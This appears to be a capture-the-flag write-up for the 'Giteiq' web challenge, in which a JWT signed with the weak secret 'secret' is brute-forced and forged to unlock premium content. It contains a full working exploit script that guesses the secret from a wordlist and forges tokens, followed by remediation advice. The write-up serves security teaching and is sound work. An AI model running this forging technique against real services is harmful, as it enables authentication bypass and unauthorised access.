Giteiq - JWT Weak Secret Bypass

Challenge Type: Web Security

Difficulty: Easy

Tags: JWT, Cryptography, Authentication Bypass

Challenge Description

Giteiq is a quote service that uses JSON Web Tokens (JWT) for authentication. Users receive a JWT cookie with subscribed: false upon registration, which restricts access to premium quotes. The challenge demonstrates a classic JWT vulnerability: using a weak, easily guessable secret key for token signing.

Challenge Overview

The application implements a simple subscription-based quote system: - Public Quotes: Accessible to all users (quotes 1-6) - Premium Quotes: Require subscribed: true in JWT (quotes 7-10) - JWT Authentication: Session managed via signed JWT tokens - Weak Secret Vulnerability: JWT signed with predictable secret ("secret")

Application Flow

Normal User Journey

1. User visits /register
   └─> Server generates JWT with {subscribed: false}
   └─> JWT signed with secret key
   └─> Cookie set: giteeiq=<JWT>

2. User requests quote
   └─> GET /giteiq?id=<number>
   └─> Server verifies JWT signature
   └─> Checks subscribed status
   └─> Returns quote if authorized

3. Premium quote access (id >= 7)
   └─> Requires subscribed: true
   └─> Blocked for free users

JWT Structure

// Header
{
  "alg": "HS256",
  "typ": "JWT"
}

// Payload (initial)
{
  "subscribed": false,
  "iat": 1704067200,
  "exp": 1999999999
}

// Signature: HMACSHA256(base64(header) + "." + base64(payload), secret)

The Vulnerability

The application uses a weak, commonly-used secret for JWT signing:

# Vulnerable server code (simplified)
JWT_SECRET = "secret"  # WEAK!

@app.route('/register')
def register():
    token = jwt.encode({
        'subscribed': False,
        'iat': int(time.time()),
        'exp': int(time.time()) + 86400
    }, JWT_SECRET, algorithm='HS256')

    response.set_cookie('giteeiq', token)
    return response

@app.route('/giteiq')
def get_quote():
    token = request.cookies.get('giteeiq')

    try:
        # Verifies signature using JWT_SECRET
        payload = jwt.decode(token, JWT_SECRET, algorithms=['HS256'])

        quote_id = request.args.get('id', type=int)

        # Premium quotes require subscription
        if quote_id >= 7 and not payload.get('subscribed'):
            return {'error': 'Premium content - subscription required'}

        return get_quote_from_db(quote_id)
    except jwt.InvalidSignatureError:
        return {'error': 'Invalid token'}

Why This is Vulnerable: 1. Secret is a common dictionary word 2. No key rotation or complexity requirements 3. Easily discoverable through brute-force 4. Once secret is known, any JWT can be forged

Solution Walkthrough

Phase 1: Obtaining the Original JWT

First, get a legitimate JWT from the application:

import requests

BASE_URL = 'http://45.77.53.212:13332'

# Get JWT from registration endpoint
resp = requests.get(f'{BASE_URL}/register')
original_jwt = resp.cookies.get('giteeiq')

print(f"Original JWT: {original_jwt}")

Phase 2: Analyzing the JWT

Decode the JWT without verification to inspect its structure:

import jwt

# Decode without verifying signature
decoded = jwt.decode(original_jwt, options={"verify_signature": False})
print(f"Payload: {decoded}")

# Output:
# {
#   'subscribed': False,
#   'iat': 1704067200,
#   'exp': 1999999999
# }

Phase 3: Brute-Forcing the Secret

Use a common password list to find the secret:

common_secrets = [
    'secret', 'password', 'admin', 'key', 'jwt', 'test', '123456',
    'supersecret', 'giteiq', 'giteeiq', 'cyhub', 'armenia'
]

found_secret = None
for secret in common_secrets:
    try:
        jwt.decode(original_jwt, secret, algorithms=['HS256'])
        found_secret = secret
        print(f"[+] FOUND SECRET: {secret}")
        break
    except jwt.InvalidSignatureError:
        continue

# Output: [+] FOUND SECRET: secret

Phase 4: Forging a Privileged JWT

Create a new JWT with subscribed: true:

new_payload = {
    'subscribed': True,
    'iat': decoded.get('iat', 0),
    'exp': 1999999999  # Far future expiry
}

forged_jwt = jwt.encode(new_payload, found_secret, algorithm='HS256')
print(f"Forged JWT: {forged_jwt}")

Phase 5: Accessing Premium Content

Use the forged JWT to access the flag:

# Request premium quote #7 (contains the flag)
resp = requests.get(
    f'{BASE_URL}/giteiq?id=7',
    cookies={'giteeiq': forged_jwt}
)

data = resp.json()
print(f"FLAG: {data['hnarq']}")

# Output: FLAG: cyhub{js_is_better_at_math!}

Complete Exploit Code

#!/usr/bin/env python3
import jwt
import requests

BASE_URL = 'http://45.77.53.212:13332'

# Step 1: Get original JWT
resp = requests.get(f'{BASE_URL}/register')
original_jwt = resp.cookies.get('giteeiq')

# Step 2: Decode without verification
decoded = jwt.decode(original_jwt, options={"verify_signature": False})
print(f"Original payload: {decoded}")

# Step 3: Brute force secret
common_secrets = ['secret', 'password', 'admin', 'key', 'jwt', 'test']
found_secret = None

for secret in common_secrets:
    try:
        jwt.decode(original_jwt, secret, algorithms=['HS256'])
        found_secret = secret
        break
    except jwt.InvalidSignatureError:
        continue

print(f"Found secret: {found_secret}")

# Step 4: Forge new JWT
new_payload = {
    'subscribed': True,
    'iat': decoded.get('iat', 0),
    'exp': 1999999999
}
forged_jwt = jwt.encode(new_payload, found_secret, algorithm='HS256')

# Step 5: Get flag
resp = requests.get(f'{BASE_URL}/giteiq?id=7', cookies={'giteeiq': forged_jwt})
data = resp.json()
print(f"FLAG: {data['hnarq']}")

Technical Details

Tools and Libraries

  • Python 3.x: Main scripting language
  • PyJWT: JWT encoding/decoding library
  • requests: HTTP client library

Exploit Execution

pip install pyjwt requests
python giteiq_jwt_exploit.py

Expected Output

====================================================
Giteiq CTF Exploit - JWT Weak Secret Bypass
====================================================

[*] Step 1: Getting original JWT from /register...
[+] Original JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[*] Step 2: Decoding original JWT...
[+] Original payload: {'subscribed': False, 'iat': 1704067200}

[*] Step 3: Brute forcing JWT secret...
[+] FOUND SECRET: secret

[*] Step 4: Forging new JWT with subscribed=true...
[+] Forged JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[*] Step 5: Getting quote #7 (the flag)...
[+] Response: {'hnarq': 'cyhub{js_is_better_at_math!}'}

====================================================
FLAG: cyhub{js_is_better_at_math!}
====================================================

Key Takeaways

Vulnerability Analysis

  1. Weak Secrets: Using dictionary words as JWT secrets is critically insecure
  2. Predictable Keys: Short, simple secrets can be brute-forced in seconds
  3. Trust Boundary: JWT payload can be modified if the secret is compromised
  4. Privilege Escalation: Forged JWTs bypass authentication and authorization

Secure Implementation

# GOOD: Strong JWT secret generation
import secrets

JWT_SECRET = secrets.token_urlsafe(64)  # 512-bit random secret

# GOOD: Use environment variables
JWT_SECRET = os.getenv('JWT_SECRET')
if not JWT_SECRET or len(JWT_SECRET) < 32:
    raise ValueError("JWT_SECRET must be at least 32 bytes")

# GOOD: Regular key rotation
def rotate_jwt_secret():
    new_secret = secrets.token_urlsafe(64)
    # Store with version number for migration
    store_secret_with_version(new_secret, version=get_next_version())

Defense Recommendations

  1. Strong Secrets: Use cryptographically random secrets (≥256 bits)
  2. Secret Management: Store secrets in environment variables or key vaults
  3. Key Rotation: Regularly rotate JWT signing keys
  4. Algorithm Selection: Prefer RS256 (asymmetric) over HS256 for distributed systems
  5. Token Validation: Always validate expiration times and issuer
  6. Rate Limiting: Implement rate limiting on authentication endpoints
  7. Monitoring: Log and alert on suspicious JWT validation failures

Common JWT Pitfalls

  • Using "none" algorithm (CVE-2015-9235)
  • Weak HMAC secrets (this challenge)
  • Missing expiration validation
  • Algorithm confusion attacks (HS256 vs RS256)
  • Storing sensitive data in JWT payload (it's base64, not encrypted!)

References